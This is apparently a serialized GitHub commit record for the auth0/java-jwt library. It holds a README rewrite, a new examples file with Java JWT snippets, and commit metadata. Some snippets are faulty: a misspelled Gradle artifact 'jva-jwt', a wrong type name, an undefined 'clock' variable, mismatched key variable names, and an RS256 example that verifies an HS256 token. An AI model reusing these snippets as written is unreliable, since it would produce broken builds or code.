+* [Inspecting a DecodedJWT](#inspecting-a-decodedjwt)
+* [DateTime Claim Validation](#datetime-claim-validation)
+* [Using custom claims](#using-custom-claims)
+* [Using a KeyProvider](#using-a-keyprovider)
+
+## Inspecting a DecodedJWT
+
+The successful verification of a JWT returns a `DecodedJWT`, from which you can obtain its contents.
+
+```java
+DecodedJWT jwt = JWT.require(algorithm)
+        .build()
+        .verify("a.b.c");
+
+// standard claims can be retrieved through first-class methods
+String subject = jwt.getSubject();
+String aud = jwt.getAudience();
+// ...
+
+// custom claims can also be obtained
+String customStringClaim = jwt.getClaim("custom-string-claim").asString();
+```
+
+When retrieving custom claims, a [Claim](https://javadoc.io/doc/com.auth0/java-jwt/latest/com/auth0/jwt/interfaces/Claim.html) is returned, which can then be used to obtain the value depending on the value's underlying type.
+
+## DateTime Claim Validation
+
+A JWT token may include DateNumber fields that can be used to validate that:
+
+* The token was issued in a past date `"iat" < NOW`
+* The token hasn't expired yet `"exp" > NOW`
+* The token can already be used. `"nbf" < NOW`
+
+When verifying a JWT, the standard DateTime claims are validated by default. A `JWTVerificationException` is thrown if any of the claim values are invalid.
+
+To specify a **leeway** in which the JWT should still be considered valid, use the `acceptLeeway()` method in the `JWTVerifier` builder and pass a positive seconds value. This applies to every item listed above.
+
+```java
+JWTVerifier verifier = JWT.require(algorithm)
+    .acceptLeeway(1) // 1 sec for nbf, iat and exp
+    .build();
+```
+
+You can also specify a custom value for a given DateTime claim and override the default one for only that claim.
+
+```java
+JWTVerifier verifier = JWT.require(algorithm)
+    .acceptLeeway(1)   //1 sec for nbf and iat
+    .acceptExpiresAt(5)   //5 secs for exp
+    .build();
+```
+
+If you need to test this behavior in your application, cast the `Verification` instance to a `BaseVerification` to gain visibility of the `verification.build()` method that accepts a `java.time.Clock`. e.g.:
+
+```java
+BaseVerification verification = (BaseVerification) JWT.require(algorithm)
+    .acceptLeeway(1)
+    .acceptExpiresAt(5);
+private final Clock mockNow = Clock.fixed(Instant.ofEpochSecond(1477592), ZoneId.of("UTC"));    
+JWTVerifier verifier = verification.build(clock);
+```
+
+## Using custom claims
+
+### JWT creation
+A JWT can be built with custom payload and header claims, by using the `withHeader` and `withClaim` methods.
+
+```java
+String jwt = JWT.create()
+        .withHeader(headerMap)
+        .withClaim("string-claim", "string-value")
+        .withClaim("number-claim", 42)
+        .withClaim("bool-claim", true)
+        .withClaim("datetime-claim", Instant.now())
+        .sign(algorithm);
+```
+
+See the [JavaDoc](https://javadoc.io/doc/com.auth0/java-jwt/latest/com/auth0/jwt/JWTCreator.Builder.html) for all available custom claim methods.
+
+### JWT verification
+
+You can also verify a JWT's custom claims:
+
+```java
+JWTVerifier verifier = JWT.require(algorithm)
+        .withClaim("number-claim", 123)
+        .withClaimPresence("some-claim-that-just-needs-to-be-present")
+        .withClaim("predicate-claim", (claim, decodedJWT) -> "custom value".equals(claim.asString()))
+        .build();
+DecodedJWT jwt = verifier.verify("my.jwt.token");
+```
+
+See the [JavaDoc](https://javadoc.io/doc/com.auth0/java-jwt/latest/com/auth0/jwt/JWTVerifier.BaseVerification.html) for all available custom claim verification methods.
+
+## Using a KeyProvider
+
+A `KeyProvider` can be used to obtain the keys needed for signing and verifying a JWT. How these keys are constructed are beyond the scope of this library, but the [jwks-rsa-java](https://github.com/auth0/jwks-rsa-java) library provides the ability to obtain the public key from a JWK.
+The example below demonstrates this for the RSA algorithm (`ECDSAKeyProvider` can be used for ECDSA).
+
+```java
+JwkProvider provider = new JwkProviderBuilder("https://samples.auth0.com/")
+        .cached(10, 24, TimeUnit.HOURS)
+        .rateLimited(10, 1, TimeUnit.MINUTES)
+        .build();
+final RSAPrivateKey privateKey = // private key
+final String privateKeyId = // private key ID
+
+RSAKeyProvider keyProvider = new RSAKeyProvider() {
+    @Override
+    public RSAPublicKey getPublicKeyById(String kid) {
+        return (RSAPublicKey) jwkProvider.get(kid).getPublicKey();
+    }
+
+    @Override
+    public RSAPrivateKey getPrivateKey() {
+        // return the private key used 
+        return rsaPrivateKey;
+    }
+
+    @Override
+    public String getPrivateKeyId() {
+        return rsaPrivateKeyId;
+    }
+};
+
+Algorithm algorithm = Algorithm.RSA256(keyProvider);
+//Use the Algorithm to create and verify JWTs.
+```
\ No newline at end of fileu}(j  (7786cbafa399734f5defeae421537ce0f9f2f9d0j{  	README.mdj}  modifiedju  KLjv  Mj  Mj  Yhttps://github.com/auth0/java-jwt/blob/d0ebc3f50581f3341a9b214f32612926b8b1a201/README.mdj  Xhttps://github.com/auth0/java-jwt/raw/d0ebc3f50581f3341a9b214f32612926b8b1a201/README.mdj  khttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=d0ebc3f50581f3341a9b214f32612926b8b1a201j  XI`  @@ -1,60 +1,26 @@
-
-
-# Java JWT
+![A Java implementation of JSON Web Token (JWT) - RFC 7519.](https://cdn.auth0.com/website/sdks/banners/java-jwt-banner.png)
 
 [![CircleCI](https://img.shields.io/circleci/project/github/auth0/java-jwt.svg?style=flat-square)](https://circleci.com/gh/auth0/java-jwt/tree/master)
 [![Coverage Status](https://img.shields.io/codecov/c/github/auth0/java-jwt.svg?style=flat-square)](https://codecov.io/github/auth0/java-jwt)
-[![License](https://img.shields.io/:license-mit-blue.svg?style=flat)](https://doge.mit-license.org)
-[![Javadoc](https://javadoc.io/badge2/com.auth0/java-jwt/javadoc.svg)](https://javadoc.io/doc/com.auth0/java-jwt/latest/index.html)
-
-A Java implementation of [JSON Web Token (JWT) - RFC 7519](https://tools.ietf.org/html/rfc7519).
+[![License](http://img.shields.io/:license-mit-blue.svg?style=flat)](https://doge.mit-license.org/)
+[![Maven Central](https://img.shields.io/maven-central/v/com.auth0/java-jwt.svg?style=flat-square)](https://mvnrepository.com/artifact/com.auth0/java-jwt)
+[![javadoc](https://javadoc.io/badge2/com.auth0/auth0/javadoc.svg)](https://javadoc.io/doc/com.auth0/java-jwt)
 
-> :warning:  **Important security note:** JVM has a critical vulnerability for ECDSA Algorithms - [CVE-2022-21449](https://nvd.nist.gov/vuln/detail/CVE-2022-21449). Please review the details of the vulnerability and update your environment.
-
-If you're looking for an **Android** version of the JWT Decoder take a look at our [JWTDecode.Android](https://github.com/auth0/JWTDecode.Android) library.
+:books: [Documentation](#documentation) - :rocket: [Getting Started](#getting-started) - :computer: [API Reference](#api-reference) :speech_balloon: [Feedback](#feedback)
 
-> You are viewing the documentation for the v4 beta release. For the latest stable release, please see the [version 3.x documentation](https://github.com/auth0/java-jwt).
+## Documentation
+- [Examples](./EXAMPLES.md) - code samples for common java-jwt scenarios.
+- [Docs site](https://www.auth0.com/docs) - explore our docs site and learn more about Auth0.
 
-## Table of Contents
-- [**Requirements**](#requirements)
-- [**Installation**](#installation)
-- [**Available Algorithms**](#available-algorithms)
-- [**Quickstart**](#quickstart)
-  + [**Create and Sign a Token**](#create-and-sign-a-token)
-  + [**Verify a Token**](#verify-a-token)
-- [**Usage**](#usage)
-  + [**Pick the algorithm**](#pick-the-algorithm)
-  + [**Time Validation**](#time-validation)
-  + [**Header Claims**](#header-claims)
-  + [**Payload Claims**](#payload-claims)
-  + [**Claim Class**](#claim-class)
-- [**Javadoc**](https://javadoc.io/doc/com.auth0/java-jwt/latest/index.html)
+## Getting Started
 
-## Requirements
+### Requirements
 
-This library is supported for Java 8, 11, and 17. For issues on non-LTS versions above 8, consideration will be given on a case-by-case basis.
+This library is supported for Java LTS versions 8, 11, and 17. For issues on non-LTS versions above 8, consideration will be given on a case-by-case basis.
 
-## Installation
+> `java-jwt` is intended for server-side JVM applications. Android applications should use [JWTDecode.Android](https://github.com/auth0/JWTDecode.Android).
 
-### Gradle
-
-```gradle
-implementation 'com.auth0:java-jwt:4.2.1'
-```
-
-### Maven
-
-```xml
-<dependency>
-    <groupId>com.auth0</groupId>
-    <artifactId>java-jwt</artifactId>
-    <version>4.2.1</version>
-</dependency>
-```
-
-## Available Algorithms
-
-The library implements JWT Verification and Signing using the following algorithms:
+`java-jwt` supports the following algorithms for both signing and verification:
 
 | JWS | Algorithm | Description |
 | :-------------: | :-------------: | :----- |
@@ -70,434 +36,97 @@ The library implements JWT Verification and Signing using the following algorith
 
 > Note - Support for ECDSA with curve secp256k1 and SHA-256 (ES256K) has been dropped since it has been [disabled in Java 15](https://www.oracle.com/java/technologies/javase/15-relnote-issues.html#JDK-8237219)
 
-## Quickstart
-
-### Create and Sign a Token
-
-You'll first need to create a `JWTCreator` instance by calling `JWT.create()`. Use the builder to define the custom Claims your token needs to have. Finally to get the String token call `sign()` and pass the `Algorithm` instance.
-
-* Example using `HS256`
-
-    ```java
-    try {
-        Algorithm algorithm = Algorithm.HMAC256("secret");
-        String token = JWT.create()
-            .withIssuer("auth0")
-            .sign(algorithm);
-    } catch (JWTCreationException exception){
-        //Invalid Signing configuration / Couldn't convert Claims.
-    }
-    ```
-
-* Example using `RS256`
-
-    ```java
-    RSAPublicKey publicKey = //Get the key instance
-    RSAPrivateKey privateKey = //Get the key instance
-    try {
-        Algorithm algorithm = Algorithm.RSA256(publicKey, privateKey);
-        String token = JWT.create()
-            .withIssuer("auth0")
-            .sign(algorithm);
-    } catch (JWTCreationException exception){
-        //Invalid Signing configuration / Couldn't convert Claims.
-    }
-    ```
-
-If a Claim couldn't be converted to JSON or the Key used in the signing process was invalid a `JWTCreationException` will raise.
-
-### Verify a Token
-
-You'll first need to create a `JWTVerifier` instance by calling `JWT.require()` and passing the `Algorithm` instance. If you require the token to have specific Claim values, use the builder to define them. The instance returned by the method `build()` is reusable, so you can define it once and use it to verify different tokens. Finally call `verifier.verify()` passing the token.
-
-* Example using `HS256`
-
-    ```java
-    String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJpc3MiOiJhdXRoMCJ9.AbIJTDMFc7yUa5MhvcP03nJPyCPzZtQcGEp-zWfOkEE";
-    try {
-        Algorithm algorithm = Algorithm.HMAC256("secret"); //use more secure key
-        JWTVerifier verifier = JWT.require(algorithm)
-            .withIssuer("auth0")
-            .build(); //Reusable verifier instance
-        DecodedJWT jwt = verifier.verify(token);
-    } catch (JWTVerificationException exception){
-        //Invalid signature/claims
-    }
-    ```
-
-* Example using `RS256`
-
-    ```java
-    String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJpc3MiOiJhdXRoMCJ9.AbIJTDMFc7yUa5MhvcP03nJPyCPzZtQcGEp-zWfOkEE";
-    RSAPublicKey publicKey = //Get the key instance
-    RSAPrivateKey privateKey = //Get the key instance
-    try {
-        Algorithm algorithm = Algorithm.RSA256(publicKey, privateKey);
-        JWTVerifier verifier = JWT.require(algorithm)
-            .withIssuer("auth0")
-            .build(); //Reusable verifier instance
-        DecodedJWT jwt = verifier.verify(token);
-    } catch (JWTVerificationException exception){
-        //Invalid signature/claims
-    }
-    ```
-
-If the token has an invalid signature or the Claim requirement is not met, a `JWTVerificationException` will raise.
-
-<details>
-<summary><em></em>Need to peek into a JWT without verifying it? (Click to expand)</summary>
-
-### Decode a Token
-
-> __Warning:__ This will __not__ verify whether the signature is valid. You should __not__ use this for untrusted messages. You most likely want to use `JWTVerifier` as documented above instead.
-
-```java
-String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJpc3MiOiJhdXRoMCJ9.AbIJTDMFc7yUa5MhvcP03nJPyCPzZtQcGEp-zWfOkEE";
-try {
-    DecodedJWT jwt = JWT.decode(token);
-} catch (JWTDecodeException exception){
-    //Invalid token
-}
-```
-
-If the token has an invalid syntax or the header or payload are not JSONs, a `JWTDecodeException` will raise.
-
-</details>
-
-## Usage
-
-### Pick the Algorithm
-
-The Algorithm defines how a token is signed and verified. It can be instantiated with the raw value of the secret in the case of HMAC algorithms, or the key pairs or `KeyProvider` in the case of RSA and ECDSA algorithms. Once created, the instance is reusable for token signing and verification operations.
-
-When using RSA or ECDSA algorithms and you just need to **sign** JWTs you can avoid specifying a Public Key by passing a `null` value. The same can be done with the Private Key when you just need to **verify** JWTs.
-
-
-#### Using static secrets or keys:
-
-```java
-//HMAC
-Algorithm algorithmHS = Algorithm.HMAC256("secret"); //use more secure key
-
-//RSA
-RSAPublicKey publicKey = //Get the key instance
-RSAPrivateKey privateKey = //Get the key instance
-Algorithm algorithmRS = Algorithm.RSA256(publicKey, privateKey);
-```
-
-> Note: How you obtain or read keys is not in the scope of this library. For an example of how you might implement this, see [this gist](https://gist.github.com/lbalmaceda/9a0c7890c2965826c04119dcfb1a5469).
-
-##### HMAC Key Length and Security
-
-When using a Hash-based Message Authentication Code, e.g. HS256 or HS512, in order to comply with the strict requirements of the JSON Web Algorithms (JWA) specification (RFC7518), you **must** use a secret key which has the same (or larger) bit length as the size of the output hash. This is to avoid weakening the security strength of the authentication code (see NIST recommendations NIST SP 800-117). For example, when using HMAC256, the secret key length must be a minimum of 256 bits.
-
-#### Using a KeyProvider:
-By using a `KeyProvider` you can change in runtime the key used either to verify the token signature or to sign a new token for RSA or ECDSA algorithms. This is achieved by implementing either `RSAKeyProvider` or `ECDSAKeyProvider` methods:
-
-- `getPublicKeyById(String kid)`: Its called during token signature verification and it should return the key used to verify the token. If key rotation is being used, e.g. [JWK](https://tools.ietf.org/html/rfc7517) it can fetch the correct rotation key using the id. (Or just return the same key all the time).
-- `getPrivateKey()`: Its called during token signing and it should return the key that will be used to sign the JWT.
-- `getPrivateKeyId()`: Its called during token signing and it should return the id of the key that identifies the one returned by `getPrivateKey()`. This value is preferred over the one set in the `JWTCreator.Builder#withKeyId(String)` method. If you don't need to set a `kid` value avoid instantiating an Algorithm using a `KeyProvider`.
-
-
-The following example shows how this would work with `JwkProvider` from the [jwks-rsa-java](https://github.com/auth0/jwks-rsa-java) library.
-
-```java
-final JwkProvider jwkProvider = new UrlJwkProvider("https://samples.auth0.com/");
-final RSAPrivateKey privateKey = //Get the key instance
-final String privateKeyId = //Create an Id for the above key
-
-RSAKeyProvider keyProvider = new RSAKeyProvider() {
-    @Override
-    public RSAPublicKey getPublicKeyById(String kid) {
-        //Received 'kid' value might be null if it wasn't defined in the Token's header
-        PublicKey publicKey = jwkProvider.get(kid).getPublicKey();
-        return (RSAPublicKey) publicKey;
-    }
-
-    @Override
-    public RSAPrivateKey getPrivateKey() {
-        return privateKey;
-    }
-
-    @Override
-    public String getPrivateKeyId() {
-        return privateKeyId;
-    }
-};
-
-Algorithm algorithm = Algorithm.RSA256(keyProvider);
-//Use the Algorithm to create and verify JWTs.
-```
-
-
-### Time Validation
-
-The JWT token may include DateNumber fields that can be used to validate that:
-* The token was issued in a past date `"iat" < TODAY`
-* The token hasn't expired yet `"exp" > TODAY` and
-* The token can already be used. `"nbf" < TODAY`
-
-When verifying a token the time validation occurs automatically, resulting in a `JWTVerificationException` being throw when the values are invalid. If any of the previous fields are missing they won't be considered in this validation.
-
-To specify a **leeway window** in which the Token should still be considered valid, use the `acceptLeeway()` method in the `JWTVerifier` builder and pass a positive seconds value. This applies to every item listed above.
-
-```java
-JWTVerifier verifier = JWT.require(algorithm)
-    .acceptLeeway(1) // 1 sec for nbf, iat and exp
-    .build();
-```
-
-You can also specify a custom value for a given Date claim and override the default one for only that claim.
-
-```java
-JWTVerifier verifier = JWT.require(algorithm)
-    .acceptLeeway(1)   //1 sec for nbf and iat
-    .acceptExpiresAt(5)   //5 secs for exp
-    .build();
-```
-
-If you need to test this behavior in your lib/app cast the `Verification` instance to a `BaseVerification` to gain visibility of the `verification.build()` method that accepts a `java.time.Clock`. e.g.:
-
-```java
-BaseVerification verification = (BaseVerification) JWT.require(algorithm)
-    .acceptLeeway(1)
-    .acceptExpiresAt(5);
-private final Clock mockNow = Clock.fixed(Instant.ofEpochSecond(1477592), ZoneId.of("UTC"));    
-JWTVerifier verifier = verification.build(clock);
-```
-
-### Header Claims
-
-#### Algorithm ("alg")
-
-Returns the Algorithm value or null if it's not defined in the Header.
-
-```java
-String algorithm = jwt.getAlgorithm();
-```
-
-#### Type ("typ")
-
-Returns the Type value or null if it's not defined in the Header.
-
-```java
-String type = jwt.getType();
-```
-
-#### Content Type ("cty")
-
-Returns the Content Type value or null if it's not defined in the Header.
-
-```java
-String contentType = jwt.getContentType();
-```
-
-#### Key Id ("kid")
-
-Returns the Key Id value or null if it's not defined in the Header.
-
-```java
-String keyId = jwt.getKeyId();
-```
-
-#### Private Claims
-
-Additional Claims defined in the token's Header can be obtained by calling `getHeaderClaim()` and passing the Claim name. A Claim will always be returned, even if it can't be found. You can check if a Claim's value is null by calling `claim.isNull()`.
-
-```java
-Claim claim = jwt.getHeaderClaim("owner");
-```
-
-When creating a Token with the `JWT.create()` you can specify header Claims by calling `withHeader()` and passing both the map of claims.
-
-```java
-Map<String, Object> headerClaims = new HashMap();
-headerClaims.put("owner", "auth0");
-String token = JWT.create()
-        .withHeader(headerClaims)
-        .sign(algorithm);
-```
-
-> The `alg` and `typ` values will always be included in the Header after the signing process.
-
-
-### Payload Claims
-
-#### Issuer ("iss")
-
-Returns the Issuer value or null if it's not defined in the Payload.
-
-```java
-String issuer = jwt.getIssuer();
-```
-
-#### Subject ("sub")
-
-Returns the Subject value or null if it's not defined in the Payload.
-
-```java
-String subject = jwt.getSubject();
-```
-
-#### Audience ("aud")
-
-Returns the Audience value or null if it's not defined in the Payload.
-
-```java
-List<String> audience = jwt.getAudience();
-```
-
-#### Expiration Time ("exp")
-
-Returns the Expiration Time value or null if it's not defined in the Payload.
-
-```java
-Date expiresAt = jwt.getExpiresAt();
-```
-
-If you prefer to work with `java.time.Instant` instead of `java.util.Date`:
-
-```java
-Instant expiresAt = jwt.getExpiresAtAsInstant();
-```
-
-#### Not Before ("nbf")
-
-Returns the Not Before value or null if it's not defined in the Payload.
-
-```java
-Date notBefore = jwt.getNotBefore();
-```
-
-If you prefer to work with `java.time.Instant` instead of `java.util.Date`:
-
-```java
-Instant notBefore = jwt.getNotBeforeAsInstant();
-```
-
-#### Issued At ("iat")
-
-Returns the Issued At value or null if it's not defined in the Payload.
-
-```java
-Date issuedAt = jwt.getIssuedAt();
-```
-
-If you prefer to work with `java.time.Instant` instead of `java.util.Date`:
-
-```java
-Instant issuedAt = jwt.getIssuedAtAsInstant();
-```
-
-#### JWT ID ("jti")
+> :warning:  **Important security note:** JVM has a critical vulnerability for ECDSA Algorithms - [CVE-2022-21449](https://nvd.nist.gov/vuln/detail/CVE-2022-21449). Please review the details of the vulnerability and update your environment.
+### Installation
 
-Returns the JWT ID value or null if it's not defined in the Payload.
+Add the dependency via Maven:
 
-```java
-String id = jwt.getId();
+```xml
+<dependency>
+  <groupId>com.auth0</groupId>
+  <artifactId>java-jwt</artifactId>
+  <version>4.2.1</version>
+</dependency>
 ```
 
-#### Private Claims
+or Gradle:
 
-Additional Claims defined in the token's Payload can be obtained by calling `getClaims()` or `getClaim()` and passing the Claim name. A Claim will always be returned, even if it can't be found. You can check if a Claim's value is null by calling `claim.isNull()`.
-
-```java
-Map<String, Claim> claims = jwt.getClaims();    //Key is the Claim name
-Claim claim = claims.get("isAdmin");
+```gradle
+implementation 'com.auth0:jva-jwt:4.2.1'
 ```
 
-or
+### Create a JWT
 
-```java
-Claim claim = jwt.getClaim("isAdmin");
-```
+Use `JWT.create()`, configure the claims, and then call `sign(algorithm)` to sign the JWT.
 
-When creating a Token with the `JWT.create()` you can specify a custom Claim by calling `withClaim()` and passing both the name and the value.
+The example below demonstrates this using the `RS256` signing algorithm:
 
 ```java
-String token = JWT.create()
-        .withClaim("name", 123)
-        .withArrayClaim("array", new Integer[]{1, 2, 3})
-        .withNullClaim("claim_name")
+try {
+    Algorithm algorithm = Algorithm.RSA256(rsaPublicKey, rsaPrivateKey);
+    String token = JWT.create()
+        .withIssuer("auth0")
         .sign(algorithm);
+} catch (JWTCreationException exception){
+    // Invalid Signing configuration / Couldn't convert Claims.
+}
 ```
 
-You can also create a JWT by calling `withPayload()` and passing a map of claim names to values:
+### Verify a JWT
 
-```java
-Map<String, Object> payloadClaims = new HashMap<>();
-payloadClaims.put("@context", "https://auth0.com/");
-String token = JWT.create()
-        .withPayload(payloadClaims)
-        .sign(algorithm);
-```
+Create a `JWTVerifier` passing the `Algorithm`, and specify any required claim values.
 
-You can also verify custom Claims on the `JWT.require()` by calling `withClaim()` and passing both the name and the required value.
+The following example uses `RS256` to verify the JWT.
 
 ```java
-JWTVerifier verifier = JWT.require(algorithm)
-    .withClaim("name", 123)
-    .withArrayClaim("array", 1, 2, 3)
-    .withNullClaim("null_value") //checks if the claim name provided has null value
-    .withClaimPresence("claim_presence") //checks if the claim name provided is in the payload
-    .withClaim("predicate", (claim, decodedJWT) -> "custom_check".equals(claim.asString())) //can be used to run custom verification
-    .build();
-DecodedJWT jwt = verifier.verify("my.jwt.token");
+String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJpc3MiOiJhdXRoMCJ9.AbIJTDMFc7yUa5MhvcP03nJPyCPzZtQcGEp-zWfOkEE";
+DecodedJWT decodedJWT;
+try {
+    Algorithm algorithm = Algorithm.RSA256(rsaPublicKey, rsaPrivateKey);
+    JWTVerifier verifier = JWT.require(algorithm)
+        // specify an specific claim validations
+        .withIssuer("auth0")
+        // reusable verifier instance
+        .build();
+        
+    decodedJWT jwt = verifier.verify(token);
+} catch (JWTVerificationException exception){
+    // Invalid signature/claims
+}
 ```
 
-> Currently supported classes for custom JWT Claim creation and verification are: Boolean, Integer, Double, String, Date and Arrays of type String and Integer.
-
-
-### Claim Class
-The Claim class is a wrapper for the Claim values. It allows you to get the Claim as different class types. The available helpers are:
-
-#### Primitives
-* **asBoolean()**: Returns the Boolean value or null if it can't be converted.
-* **asInt()**: Returns the Integer value or null if it can't be converted.
-* **asDouble()**: Returns the Double value or null if it can't be converted.
-* **asLong()**: Returns the Long value or null if it can't be converted.
-* **asString()**: Returns the String value or null if it can't be converted.
-* **asInstant()**: Returns the Instant value or null if it can't be converted.
-* **asDate()**: Returns the Date value or null if it can't be converted.
-
-> For `asInstant()` and `asDate()` the value must be a NumericDate (Unix Epoch/Timestamp). Note that the [JWT Standard](https://tools.ietf.org/html/rfc7519#section-2) specified that all the *NumericDate* values must be in seconds.
-
-#### Custom Classes and Collections
-To obtain a Claim as a Collection you'll need to provide the **Class Type** of the contents to convert from.
-
-* **as(class)**: Returns the value parsed as **Class Type**. For collections you should use the `asArray` and `asList` methods.
-* **asMap()**: Returns the value parsed as **Map<String, Object>**.
-* **asArray(class)**: Returns the value parsed as an Array of elements of type **Class Type**, or null if the value isn't a JSON Array.
-* **asList(class)**: Returns the value parsed as a List of elements of type **Class Type**, or null if the value isn't a JSON Array.
-
-If the values can't be converted to the given **Class Type** a `JWTDecodeException` will raise.
-
-
+If the token has an invalid signature or the Claim requirement is not met, a `JWTVerificationException` will be thrown.
 
-## What is Auth0?
+See the [examples](./EXAMPLES.md) and [JavaDocs](https://javadoc.io/doc/com.auth0/java-jwt/latest) for additional documentation.
 
-Auth0 helps you to:
+## API Reference
 
-* Add authentication with [multiple authentication sources](https://auth0.com/docs/identityproviders), either social like **Google, Facebook, Microsoft Account, LinkedIn, GitHub, Twitter, Box, Salesforce, among others**, or enterprise identity systems like **Windows Azure AD, Google Apps, Active Directory, ADFS or any SAML Identity Provider**.
-* Add authentication through more traditional **[username/password databases](https://auth0.com/docs/connections/database)**.
-* Add support for **[linking different user accounts](https://auth0.com/docs/users/user-account-linking)** with the same user.
-* Support for generating signed [Json Web Tokens](https://auth0.com/docs/tokens/json-web-tokens) to call your APIs and **flow the user identity** securely.
-* Analytics of how, when and where users are logging in.
-* Pull data from other sources and add it to the user profile, through [JavaScript rules](https://auth0.com/docs/rules).
+- [java-jwt JavaDocs](https://javadoc.io/doc/com.auth0/java-jwt/latest)
 
-## Create a free account in Auth0
+## Feedback
 
-1. Go to [Auth0](https://auth0.com) and click Sign Up.
-2. Use Google, GitHub or Microsoft Account to login.
+### Contributing
 
-## Issue Reporting
+We appreciate feedback and contribution to this repo! Before you get started, please see the following:
 
-If you have found a bug or if you have a feature request, please report them at this repository issues section. Please do not report security vulnerabilities on the public GitHub issue tracker. The [Responsible Disclosure Program](https://auth0.com/whitehat) details the procedure for disclosing security issues.
+- [Auth0's general contribution guidelines](https://github.com/auth0/open-source-template/blob/master/GENERAL-CONTRIBUTING.md)
+- [Auth0's code of conduct guidelines]((https://github.com/auth0/open-source-template/blob/master/CODE-OF-CONDUCT.md))
 
-## Author
+### Raise an issue
+To provide feedback or report a bug, [please raise an issue on our issue tracker](https://github.com/auth0/java-jwt/issues).
 
-[Auth0](https://auth0.com/)
+### Vulnerability Reporting
+Please do not report security vulnerabilities on the public Github issue tracker. The [Responsible Disclosure Program](https://auth0.com/whitehat) details the procedure for disclosing security issues.
 
-## License
+---
 
-This project is licensed under the MIT license. See the [LICENSE](LICENSE) file for more info.
+<p align="center">
+  <picture>
+    <source media="(prefers-color-scheme: light)" srcset="https://cdn.auth0.com/website/sdks/logos/auth0_light_mode.png"   width="150">
+    <source media="(prefers-color-scheme: dark)" srcset="https://cdn.auth0.com/website/sdks/logos/auth0_dark_mode.png" width="150">
+    <img alt="Auth0 Logo" src="./auth0_light_mode.png" width="150">
+  </picture>
+</p>
+<p align="center">Auth0 is an easy to implement, adaptable authentication and authorization platform. To learn more checkout <a href="https://auth0.com/why-auth0">Why Auth0?</a></p>
+<p align="center">
+This project is licensed under the MIT license. See the <a href="./LICENSE"> LICENSE</a> file for more info.</p>ueu#     (02c9d168e2af4a20b13028c3083212eed72ac399}(sha(02c9d168e2af4a20b13028c3083212eed72ac399node_idEC_kwDOAQtL0doAKDAyYzlkMTY4ZTJhZjRhMjBiMTMwMjhjMzA4MzIxMmVlZDcyYWMzOTkcommit}(author}(nameSteve Hobbsemailsteve.hobbs@auth0.comdate2022-10-17T13:38:33Zu	committer}(j  GitHubj  noreply@github.comj  2022-10-17T13:38:33ZumessagekMerge pull request #621 from auth0/SRE-57-Upload-opslevel-yaml

OpsLevel repo catalog - upload opslevel.ymltree}(j  (1ff9510091be7499958deb7416fea0f3de522e28url^https://api.github.com/repos/auth0/java-jwt/git/trees/1ff9510091be7499958deb7416fea0f3de522e28uj  `https://api.github.com/repos/auth0/java-jwt/git/commits/02c9d168e2af4a20b13028c3083212eed72ac399
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjTVrZCRBK7hj4Ov3rIwAAT4kIAEum2zNB6Wk3AhGaIB2C5qgr
46w05IUoVaN2Y/BnNg666+4WYDkwlZaH3yIo4zJL4172OezIONpX3EVbxsdQxKdr
5JJIpnGk02YOVfe5GuzPf/lnKrMXMw6lULB06H9MLGLeaRgYzOVQLmJlvmCv+IJy
j5Agr2YguvcOB6LBXHmFjXiyudoEllY6vm9BOgUvptuqE2BFcV2i6DIqd2dOBlfJ
OGFpYocaMZH3HZu2LC7aQlWBzymJsHtKa0ROp6VIdV5cHKdDApXd/q5x+bCcSvgH
JJoYAEZ7/+7IzmQwO/wbVbEzJyhBFd3MteV8iFyavLsaU7iMaQxe9bHB9lv4G6I=
=R4qw
-----END PGP SIGNATURE-----
payloadXm  tree 1ff9510091be7499958deb7416fea0f3de522e28
parent 9840e74b7ef87ce9678d2ee71308499fb1b6f757
parent 1875ed74b136422952080b5f2ac7656e67e51f27
author Steve Hobbs <steve.hobbs@auth0.com> 1666013913 +0100
committer GitHub <noreply@github.com> 1666013913 +0100

Merge pull request #621 from auth0/SRE-57-Upload-opslevel-yaml

OpsLevel repo catalog - upload opslevel.ymluuj  \https://api.github.com/repos/auth0/java-jwt/commits/02c9d168e2af4a20b13028c3083212eed72ac399html_urlQhttps://github.com/auth0/java-jwt/commit/02c9d168e2af4a20b13028c3083212eed72ac399comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/02c9d168e2af4a20b13028c3083212eed72ac399/commentsj  Nj  }(loginweb-flowidJ/j  MDQ6VXNlcjE5ODY0NDQ3
avatar_url4https://avatars.githubusercontent.com/u/19864447?v=4gravatar_idh3j  %https://api.github.com/users/web-flowj  https://github.com/web-flow
followers_url/https://api.github.com/users/web-flow/followers
following_url<https://api.github.com/users/web-flow/following{/other_user}	gists_url5https://api.github.com/users/web-flow/gists{/gist_id}starred_url<https://api.github.com/users/web-flow/starred{/owner}{/repo}subscriptions_url3https://api.github.com/users/web-flow/subscriptionsorganizations_url*https://api.github.com/users/web-flow/orgs	repos_url+https://api.github.com/users/web-flow/repos
events_url6https://api.github.com/users/web-flow/events{/privacy}received_events_url5https://api.github.com/users/web-flow/received_eventstypeUser
site_adminuparents](}(j  (9840e74b7ef87ce9678d2ee71308499fb1b6f757j  \https://api.github.com/repos/auth0/java-jwt/commits/9840e74b7ef87ce9678d2ee71308499fb1b6f757j  Qhttps://github.com/auth0/java-jwt/commit/9840e74b7ef87ce9678d2ee71308499fb1b6f757u}(j  (1875ed74b136422952080b5f2ac7656e67e51f27j  \https://api.github.com/repos/auth0/java-jwt/commits/1875ed74b136422952080b5f2ac7656e67e51f27j  Qhttps://github.com/auth0/java-jwt/commit/1875ed74b136422952080b5f2ac7656e67e51f27uestats}(totalK	additionsK	deletionsK ufiles]}(j  (009a5ec0b603392187fd2496260186b5032335e9filenameopslevel.ymlstatusaddedj  Kj  K changesKblob_url\https://github.com/auth0/java-jwt/blob/02c9d168e2af4a20b13028c3083212eed72ac399/opslevel.ymlraw_url[https://github.com/auth0/java-jwt/raw/02c9d168e2af4a20b13028c3083212eed72ac399/opslevel.ymlcontents_urlnhttps://api.github.com/repos/auth0/java-jwt/contents/opslevel.yml?ref=02c9d168e2af4a20b13028c3083212eed72ac399patchQ@@ -0,0 +1,6 @@
+---
+version: 1
+repository:
+  owner: dx_sdks
+  tier:
